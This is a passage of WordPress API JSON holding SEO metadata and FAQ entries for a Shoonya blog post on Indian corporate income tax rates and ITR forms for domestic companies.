individuals, Hindu Undivided Families (HUFs), and partnership firms (excluding LLPs) that have business or professional income and opt for the presumptive taxation scheme under Sections 44AD, 44ADA, or 44AE.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Income Tax for Domestic Company (2026): Slabs & ITR Filing","description":"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/","og_locale":"en_US","og_type":"article","og_title":"Income Tax for Domestic Company (2026): Slabs & ITR Filing","og_description":"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.","og_url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2026-04-02T12:36:48+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"Income Tax for Domestic Company (2026): Slabs & ITR Filing","twitter_description":"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26","datePublished":"2026-04-02T12:36:48+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/"},"wordCount":2329,"image":{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg","keywords":["benefits of filing itr for domestic company","company income tax","company tax in india","company tax slab","corporate tax","corporate tax in india","corporate tax rate","corporate tax rate in india","deduction for domestic company","domestic company income tax","domestic company tax filing","domestic company tax slabs","how to file itr for domestic company","income tax calculator","income tax deductions for domestic company","income tax for domestic company","itr form for domestic company"],"articleSection":["Tax"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/","url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/","name":"Income Tax for Domestic Company (2026): Slabs & ITR Filing","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg","datePublished":"2026-04-02T12:36:48+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693716215"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693717771"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693718570"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693719275"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693720522"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693721522"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693872395"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693873051"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693873898"},{"@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693960323"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg","width":1920,"height":1080,"caption":"Income Tax for Domestic Company"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Personal Finance","item":"https:\/\/shoonya.com\/blog\/personal-finance\/"},{"@type":"ListItem","position":3,"name":"Tax","item":"https:\/\/shoonya.com\/blog\/personal-finance\/tax\/"},{"@type":"ListItem","position":4,"name":"Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693716215","position":1,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693716215","name":"What is Corporate Tax in India?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Corporate tax in India is the tax levied on the net income or profits of a company. Domestic companies and foreign companies operating in India are required to pay corporate tax based on their earnings and applicable tax slabs.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693717771","position":2,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693717771","name":"How is Corporate Tax Calculated in India?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The corporate tax in India is calculated based on a company\u2019s taxable income after deductions, exemptions, and applicable tax rates.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693718570","position":3,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693718570","name":"What is an Income Tax Calculator for Companies?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"An income tax calculator helps businesses estimate their tax liability by considering taxable income, deductions, and applicable corporate tax rates in India.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693719275","position":4,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693719275","name":"Which ITR is applicable for a company?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"A company is required to file ITR-6, except for companies that claim exemption under Section 11 for income from property held for charitable or religious purposes.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693720522","position":5,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693720522","name":"What is the income tax rate for a domestic company?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The income tax rate for a domestic company ranges from 15% to 30%, depending on the company's turnover and the tax regime it has opted for.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693721522","position":6,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693721522","name":"Who needs to file ITR-7?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The applicable rate may be <strong>15%, 22%, 25%, or 30%<\/strong>, depending on turnover and whether the company has opted for sections 115BA, 115BAA, or 115BAB.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693872395","position":7,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693872395","name":"What is the ITR for business income?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The type of Income Tax Return (ITR) form for business income depends on the nature and size of the business. ITR-3 is applicable for individuals and Hindu Undivided Families (HUFs) having business or professional income. ITR-4 is for small businesses opting for the presumptive taxation scheme. ITR-6 is for companies, except those exempt under Section 11.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693873051","position":8,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693873051","name":"What is a domestic company as per the Income Tax Act?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"As per Section 2(22A) of the Income Tax Act, a domestic company refers to an Indian company or any other company that pays dividends in India from its taxable income and has made the necessary arrangements for such payments.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693873898","position":9,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693873898","name":"\u00a0What is the tax slab for a company?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The tax slab for a company is structured based on its turnover and the tax scheme it chooses. Companies with a turnover of up to \u20b9400 crore in the previous financial year are subject to a 25% tax rate, while companies with a higher turnover pay 30% tax.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693960323","position":10,"url":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#faq-question-1741693960323","name":"Who is eligible for ITR-4?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"ITR-4 is applicable to individuals, Hindu Undivided Families (HUFs), and partnership firms (excluding LLPs) that have business or professional income and opt for the presumptive taxation scheme under Sections 44AD, 44ADA, or 44AE.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/11828","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=11828"}],"version-history":[{"count":6,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/11828\/revisions"}],"predecessor-version":[{"id":16953,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/11828\/revisions\/16953"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/16947"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=11828"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=11828"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=11828"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}